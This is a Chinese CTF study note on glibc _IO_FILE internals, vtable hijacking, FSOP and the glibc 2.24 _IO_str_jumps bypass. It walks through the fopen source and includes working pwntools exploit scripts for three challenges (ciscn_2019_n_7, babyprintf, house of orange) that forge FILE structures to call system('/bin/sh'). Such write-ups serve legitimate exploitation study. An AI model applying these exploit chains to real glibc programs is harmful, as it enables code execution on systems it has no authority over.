总结自ctfwiki
IO_FILE相关知识 基础知识 _IO_list_all是_IO_FILE_plus类型的一个指针extern struct _IO_FILE_plus *_IO_list_all
struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable ; };
在第一部分, file 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。file结构在程序执行,fread、fwrite 等标准函数需要文件流指针来指引去调用虚表函数。特殊地, fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 file结构的指针来接收这个返回值。
在第二部分,刚刚谈到的虚表就是 _IO_jump_t 结构体,在此虚表中,有很多函数都调用其中的子函数,无论是关闭文件,还是报错输出等等,都有对应的字段,而这正是可以攻击者可以被利用的突破口。值得注意的是,在 _IO_list_all 结构体中,_IO_FILE 结构是完整嵌入其中,而 vtable 是一个虚表指针,它指向了 _IO_jump_t 结构体。一个是完整的,一个是指针,这点一定要切记。
struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
借用之前总结的
源码调试 听星盟师傅讲的公开课,推荐了raycp师傅的博客,IOFILE这一部分根据师傅的博客来复现总结一下
采取libc version为2.23
以fopen为例分析一个file函数的执行流程
fopen fopen实际上是_IO_new_fopen函数
定义位置为/libio/iofopen.c的34行
define _IO_new_fopen fopen
源码如下:
_IO_FILE * _IO_new_fopen (const char *filename, const char *mode) { return __fopen_internal (filename, mode, 1 ); }
步入到__fopen_internal函数 源码如下
_IO_FILE * __fopen_internal (const char *filename, const char *mode, int is32) { struct locked_FILE { struct _IO_FILE_plus fp ; #ifdef _IO_MTSAFE_IO _IO_lock_t lock; #endif struct _IO_wide_data wd ; } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); if (new_f == NULL ) return NULL ; #ifdef _IO_MTSAFE_IO new_f->fp.file._lock = &new_f->lock; #endif #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T _IO_no_init (&new_f->fp.file, 0 , 0 , &new_f->wd, &_IO_wfile_jumps); #else _IO_no_init (&new_f->fp.file, 1 , 0 , NULL , NULL ); #endif _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; _IO_file_init (&new_f->fp); #if !_IO_UNIFIED_JUMPTABLES new_f->fp.vtable = NULL ; #endif if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL ) return __fopen_maybe_mmap (&new_f->fp.file); _IO_un_link (&new_f->fp); free (new_f); return NULL ; }
根据师傅的总结如下
整个__fopen_internal
函数包含四个部分:
malloc
分配内存空间。
_IO_no_init
对file结构体进行null
初始化。
_IO_file_init
将结构体链接进_IO_list_all
链表。
_IO_file_fopen
执行系统调用打开文件。
分配内存空间 首先分配了一块内存空间来装locked_FILE结构体
结构体成员为_IO_FILE_plus,_IO_lock_t和_IO_wide_data类型的变量
_IO_no_init对结构体初始化
初始化成员fp(_IO_FILE_plus)的值,大部分都为null
结构体链入_IO_list_all 接下来执行_IO_file_init函数
重要的是调用了link in函数,看名字就知道应该是这个函数操作了链入
void _IO_link_in (struct _IO_FILE_plus *fp) { if ((fp->file._flags & _IO_LINKED) == 0 ) { fp->file._flags |= _IO_LINKED; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); run_fp = (_IO_FILE *) fp; _IO_flockfile ((_IO_FILE *) fp); #endif fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp; ++_IO_list_all_stamp; #ifdef _IO_MTSAFE_IO _IO_funlockfile ((_IO_FILE *) fp); run_fp = NULL ; _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif } }
改之前:_IO_list_all指向stderr
做完link in操作后:_IO_list_all指向fp,fp._chain指向stderr
_IO_file_fopen打开文件句柄 首先会进入_IO_new_file_fopen函数
设置文件的模式之类的操作
随后调用_IO_file_fopen函数
_IO_file_fopen函数主要是调用了open系统调用,并且将文件描述符返回给fd的fileno字段
执行完函数,观察fileno字段已被填入正确的文件描述符,文件正常打开
总结 fopen首先申请内存,初始化结构体,然后链入链表,最后调用系统调用打开文件
伪造vtable劫持程序流程 由于linux中一些常见的IO操作函数都需要经过FILE结构处理,尤其是_IO_FILE_plus结构中存在vtable,一些函数会去除vtable中的指针进行调用。 伪造vtable劫持程序的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现,覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针(反正就是控制指针就完了嗷)
看如下代码:
#include <stdio.h> #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); memcpy (fp,"sh" ,3 ); vtable_ptr[7 ]=system_ptr fwrite("hi" ,2 ,1 ,fp); }
查看内存分布
找到vtable的偏移然后改掉我们控制的一片内存空间,再在内存空间里相应位置的地方改成system之类的函数即可控制程序流
vtable函数的调用情况 调用情况如下:
fopen函数是在分配空间,建立FILE结构体,未调用vtable中的函数。
fread函数中调用的vtable函数有:
_IO_sgetn
函数调用了vtable的_IO_file_xsgetn
。
_IO_doallocbuf
函数调用了vtable的_IO_file_doallocate
以初始化输入缓冲区。
vtable中的_IO_file_doallocate
调用了vtable中的__GI__IO_file_stat
以获取文件信息。
__underflow
函数调用了vtable中的_IO_new_file_underflow
实现文件数据读取。
vtable中的_IO_new_file_underflow
调用了vtable__GI__IO_file_read
最终去执行系统调用read。
fwrite 函数调用的vtable函数有:
_IO_fwrite
函数调用了vtable的_IO_new_file_xsputn
。
_IO_new_file_xsputn
函数调用了vtable中的_IO_new_file_overflow
实现缓冲区的建立以及刷新缓冲区。
vtable中的_IO_new_file_overflow
函数调用了vtable的_IO_file_doallocate
以初始化输入缓冲区。
vtable中的_IO_file_doallocate
调用了vtable中的__GI__IO_file_stat
以获取文件信息。
new_do_write
中的_IO_SYSWRITE
调用了vtable_IO_new_file_write
最终去执行系统调用write。
fclose
函数调用的vtable函数有:
在清空缓冲区的_IO_do_write
函数中会调用vtable中的函数。
关闭文件描述符_IO_SYSCLOSE
函数为vtable中的__close
函数。
_IO_FINISH
函数为vtable中的__finish
函数。
FSOP FSOP = File Stream Oriented Programming
关键点:_IO_list_all指针
在没有涉及到文件的操作时,链表是这样的:_IO_list_all -> stderr,stderr._chain -> stdout,stdout._chain -> stdin,FSOP就是伪造一块_IO_FILE_plus结构体代替原本的节点,再利用漏洞修改_IO_list_all的值为可控的内存区域
伪造之后还需要触发,触发的方法是调用_IO_flush_all_lockp函数,这个函数会刷新链表中的文件流,相当于对每个FILE调用fflush,对应会调用vtable中的_IO_overflow
int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL ) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } }
在如下情况中这个函数会被系统调用
libc执行abort时
执行exit函数时
main函数返回时(执行了exit函数)
ciscn_2019_n_7 漏洞是可以溢出覆盖heap manager的指针,也就是相当于任意地址写
思路就是将指针写为stderr,然后直接在stderr中写,把某些字段改成system地址,vtable改为这个字段的地址-0x18(vtable的第四个字段为overflow)
backdoor() ru("0x" ) leak = int (re(12 , 0 ), base=16 ) - libc.sym['puts' ] libc.address = leak echo(hex (leak)) payload = "/bin/sh\x00" + p64(0 ) * 4 + p64(1 ) payload = payload.ljust(0x50 , "\x00" ) payload += p64(libc.sym['system' ]) * 0x4 payload = payload.ljust(0xd8 , "\x00" ) payload += p64(libc.sym["_IO_2_1_stderr_" ] + 0x50 ) add(0xe0 , "lemon\x00\x00\x00" + p64(libc.sym["_IO_2_1_stderr_" ])) edit("lemon" , payload) ru(menu) sl('4' ) sleep(0.5 ) sl('exec 1>&0' )
人为需要计算一下,可以使用pwn_debug,使得exp构造更简单一些
backdoor() ru("0x" ) leak = int (re(12 , 0 ), base=16 ) - libc.sym['puts' ] libc.address = leak echo(hex (leak)) fake_file = IO_FILE_plus() fake_file._flags = 0x0068732f6e69622f fake_file._IO_write_ptr = 1 fake_file._IO_write_base = 0 fake_file._IO_save_end = libc.sym["system" ] fake_file.vtable = libc.sym["_IO_2_1_stderr_" ] + 0x40 fake_file.show() add(0xe0 , "lemon\x00\x00\x00" + p64(libc.sym["_IO_2_1_stderr_" ])) edit("lemon" , str (fake_file)) ru(menu) sl('4' ) sleep(0.5 ) sl('exec 1>&0' )
glibc2.24新增保护 _IO_str_jump地址确定 pwndbg> p _IO_str_underflow $1 = { <text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>
IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break
在 2.24 版本的 glibc 中,全新加入了针对 _IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
__start___libc_IO_vtables
指向第一个vtable地址_IO_helper_jumps
,而__stop___libc_IO_vtables
指向最后一个vtable_IO_str_chk_jumps
结束的地址,所以要保证利用的手法在这个vtable段中。
直接写出利用手法如下:
fp->_mode = 0
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_read_ptr = 0x61(smallbin size)
fp->_IO_read_base = _IO_list_all - 0x10
上面是做HOO的时候可以用到的tips
vtable = _IO_str_jumps - 8(使得_IO_str_finish函数成为了伪造的vtable的_IO_OVERFLOW,_IO_str_finish
偏移为_IO_str_jumps
中0x10,而_IO_OVERFLOW
为0x18)
fp->_flags的最低位为0
fp->_IO_buf_base = binsh_addr(作为参数)
fp->_s._free_buffer = system 或者 og(fp + 0xe8)
通过以上构造可以使得调用(fp->_s._free_buffer) (fp->_IO_buf_base)
,fp->_IO_buf_base
为第一个参数
babyprintf 无限堆溢出,按照如上的构造方法来构造即可
from pwn_debug.pwn_debug import *from pwn_debug.IO_FILE_plus import *pdbg=pwn_debug("babyprintf" ) pdbg.context.terminal=['tmux' , 'splitw' , '-h' ] pdbg.local() pdbg.debug("2.24" ) pdbg.remote('127.0.0.1' , 22 ) p=pdbg.run("debug" ) membp=pdbg.membp elf=pdbg.elf libc=pdbg.libc def write_one (size,data ): p.recvuntil("size: " ) p.sendline(str (size)) p.recvuntil("string: " ) p.sendline(data) p.recvuntil("result: " ) def pwn (): data="%p%p%p%p%p**%p**" data=data.ljust(0x2f8 ,'*' )+p64(0xd01 ) write_one(0x2f0 ,data) p.recvuntil("**" ) libc_base=int (p.recvuntil("**" )[:-2 ],16 )-libc.symbols['__libc_start_main' ]-240 io_list_all=libc_base+libc.symbols['_IO_list_all' ] io_str_jumps=libc_base+libc.symbols['_IO_str_jumps' ] binsh_addr=libc_base+next (libc.search("/bin/sh" )) system_addr=libc_base+libc.symbols['system' ] log.info("leaking libc base: %s" %hex (libc_base)) write_one(0x1000 ,'a' ) fake_file=IO_FILE_plus() fake_file._IO_read_ptr=0x61 fake_file._IO_read_base=io_list_all-0x10 fake_file._IO_buf_base=binsh_addr fake_file._IO_write_ptr=1 fake_file.vtable=io_str_jumps-8 fake_file.show() fake_file.str_finish_check() file_data=str (fake_file)+p64(system_addr)*2 payload='a' *0x2f0 payload+=file_data write_one(0x2f0 ,payload) p.recvuntil("size: " ) p.sendline('1' ) p.interactive() if __name__ == '__main__' : pwn()
houseoforange_hitcon_2016 任意堆溢出漏洞,edit可编辑size大小
from pwn_debug import *sh = remote("node4.buuoj.cn" , 29427 ) libc = ELF("../libc-2.23.so" ) elf = ELF('./pwn' ) context.terminal = ['tmux' , 'splitw' , '-h' ] cho = 'Your choice : ' siz = 'Length of name :' con = 'Name :' pri = 'Price of Orange:' col = 'Color of Orange:' ind = '' edi = '' def add (size, content, price, color, c='1' ): sh.sendlineafter(cho, c) sh.sendlineafter(siz, str (size)) sh.sendafter(con, content) sh.sendlineafter(pri, str (price)) sh.sendlineafter(col, str (color)) def show (c='2' ): sh.sendlineafter(cho, c) def edit (length, content, price, color, c='3' ): sh.sendlineafter(cho, c) sh.sendlineafter(siz, str (length)) sh.sendafter('Name:' , content) sh.sendlineafter('Price of Orange: ' , str (price)) sh.sendlineafter("Color of Orange: " , str (color)) add(0x80 , 'a' *0x68 , 0x10 , 0xddaa ) payload = 'p' *0x88 +p64(0x21 )+p32(0x10 )+p32(0xddaa )+p64(0 )*2 +p64(0xf31 ) edit(0xb1 , payload, 0x10 , 0xddaa ) add(0x1000 , 'b' *0x10 , 0x1111 , 0xddaa ) add(0x400 , 'a' *8 , 0x1111 , 0xddaa ) show() heap_ptr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) libc_base = heap_ptr-1640 -libc.sym['__malloc_hook' ]-0x10 success(hex (libc_base)) io_list_all = libc_base + libc.sym["_IO_list_all" ] system = libc_base + libc.sym["system" ] binsh_addr = libc_base+next (libc.search("/bin/sh" )) IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: success(hex (possible_IO_str_jumps_offset)) break io_str_jumps = libc_base+possible_IO_str_jumps_offset success(hex (io_str_jumps)) fake_file = p64(0 ) + p64(0x60 ) fake_file += p64(0 ) + p64(io_list_all - 0x10 ) fake_file += p64(0 ) + p64(1 ) fake_file += p64(0 ) + p64(binsh_addr) fake_file = fake_file.ljust(0xC0 ,'\x00' ) fake_file += p64(0 )*3 fake_file += p64(io_str_jumps - 0x8 ) fake_file += p64(0 ) fake_file += p64(system) file_data = str (fake_file) + p64(system) * 2 payload = 'x' * (0x540 - 0x140 ) + p64(0 ) + p64(0x21 ) + \ p32(0x666 ) + p32(0xddaa ) + p64(0 ) payload += file_data edit(0x800 , payload, 666 , 2 ) sh.interactive()